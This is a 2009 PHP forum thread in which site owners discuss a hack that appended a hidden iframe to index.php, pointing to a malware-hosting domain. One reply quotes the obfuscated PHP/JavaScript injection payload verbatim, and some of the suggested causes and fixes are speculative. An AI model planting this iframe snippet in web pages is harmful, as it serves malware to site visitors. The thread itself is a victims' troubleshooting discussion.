TalkPHP
 
 
Account Login
Latest Articles
» The basic usage of PHPTAL, a XML/XHTML template library for PHP
» Vulnerable methods and the areas they are commonly trusted in.
» Simple way to protect a form from bot
» The Basics On: How Session Stealing Works
» How to keep your forms from double posting data
IRC Channel
IRC Speech Bubble Join the friendly bunch on IRC...
(#TalkPHP on Freenode)

...Also available via a web interface.

See this thread for information on the TalkPHP Free Hugs Initiative™. Subject to availability.
Associates
Associates
CSS Tutorials
Reply
 
LinkBack Thread Tools Search this Thread Display Modes
Old 07-04-2009, 03:29 AM   #1 (permalink)
The Contributor
 
aristoworks's Avatar
 
Join Date: Nov 2007
Location: Nashville
Posts: 44
Thanks: 7
aristoworks is on a distinguished road
Default My First 'Hacker'

I've been involved with over 250 websites in one capacity or another but my first site was just hacked. It is a custom CMS that I put on most sites. Not a 'customized' CMS rather one I built from scratch.

Somehow a hacker inserted some javascript code that ended up embedding itself at the very end of my index.php file that was an iframe which led to a site called 'mi-cr-o-sot-f.cn' (without the dashes) which is a pdf file containing a virus.

I'm trying to figure out where in the heck the vulnerability is. I'm sanitizing ALL of the inputs both from general users and administrators.

The site is on a dedicated server which I manage and the bug hasn't ended up on any other pages or sites on this server.

I'm trying to figure out how someone might be able to inject this code and put it on my index page.

Any ideas?
Send a message via AIM to aristoworks
aristoworks is offline  
Reply With Quote
Old 07-04-2009, 03:32 AM   #2 (permalink)
Wizard
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 1,299
Thanks: 17
Village Idiot is on a distinguished road
Default

Quote:
Originally Posted by aristoworks View Post
I've been involved with over 250 websites in one capacity or another but my first site was just hacked. It is a custom CMS that I put on most sites. Not a 'customized' CMS rather one I built from scratch.

Somehow a hacker inserted some javascript code that ended up embedding itself at the very end of my index.php file that was an iframe which led to a site called 'mi-cr-o-sot-f.cn' (without the dashes) which is a pdf file containing a virus.

I'm trying to figure out where in the heck the vulnerability is. I'm sanitizing ALL of the inputs both from general users and administrators.

The site is on a dedicated server which I manage and the bug hasn't ended up on any other pages or sites on this server.

I'm trying to figure out how someone might be able to inject this code and put it on my index page.

Any ideas?
Can you show us your cleaning processes? You can't just say "my site is secure, whats wrong" because your site is obviously not secure.

Could we also see the site? We can't solve a problem unless you show us it.
__________________

Village Idiot is offline  
Reply With Quote
Old 07-04-2009, 09:10 PM   #3 (permalink)
The Addict
 
CoryMathews's Avatar
 
Join Date: Nov 2007
Location: USA
Posts: 256
Thanks: 7
CoryMathews is on a distinguished road
Default

I'm guessing it was injected into the database/filesystem. So the problem lies there, more then likely. So something in your process must be wrong. as village idiot says we need to see some code.
CoryMathews is offline  
Reply With Quote
Old 07-05-2009, 08:35 PM   #4 (permalink)
The Contributor
 
ryanmr's Avatar
 
Join Date: Jun 2008
Location: Twin Cities, Minnesota, USA
Posts: 44
Thanks: 3
ryanmr is on a distinguished road
Default

It would be quite interesting to see some first hand injection. Most people just see examples and that covers their experience with it. The Spanner is an excellent site to see what browsers will accept and actually parse as javascript, so it's not always so clear cut.

Also, @Village Idiot, I love your signature, your secret is safe with me.
__________________
blog twitter ifupdown
ryanmr is offline  
Reply With Quote
Old 07-06-2009, 11:41 PM   #5 (permalink)
The Contributor
 
cecilia's Avatar
 
Join Date: May 2009
Location: LA, CA
Posts: 87
Thanks: 0
cecilia is on a distinguished road
Default

Aristo Ive been attacked myself, I even made a thread about it.

Inserting into the index


This is the latest version of it that I got:
PHP Code:
<?php echo '<script>document.write("<if"+'ra'+"m"+'e s'+"rc=\"h"+'tt'+"p:"+''+"/"+'/mic'+"roso"+'t'+'f.c'+"n"+'/'+"\" wid"+'th=1 he'+"igh"+'t'+"="+"2></i"+"f"+"ra"+''+""+''+"me"+'>');</script>'?><?php echo ''?><?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>'?>
To date ive seen 4 incarnations of this damn thing already. From what ive read, the problem is with the web hosts hardware configuration, theres usually a security leak there. Another said cause are non-updated bulletin board scripts, which was not the case for me since I have removed that completely already and I still got attacked again.

I have a theory on how to deal with this problem on our side, redirection. It doesnt have to be index.php all the time right?

Last edited by cecilia : 07-07-2009 at 12:32 AM.
cecilia is offline  
Reply With Quote
Old 07-10-2009, 02:52 AM   #6 (permalink)
The Contributor
 
jcorradino's Avatar
 
Join Date: Sep 2008
Posts: 36
Thanks: 2
jcorradino is on a distinguished road
Default

what was said above is what is most likely causing it. I have seen this happen before, and if you are properly cleaning inputs, then I would guess that it is the fault of a web host vulnerability.
__________________
Jason Corradino
Applications Developer, Interactive Support - Tribune Technology
J2EE Development, Script Tinkering - Develop, Support, and Maintain Tribune websites.
jcorradino is offline  
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Similar Threads
Thread Thread Starter Forum Replies Last Post
SQL injections protection Rendair Tips & Tricks 23 12-11-2007 03:59 PM


All times are GMT. The time now is 12:33 PM.

 
     

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0
Inactive Reminders By Icora Web Design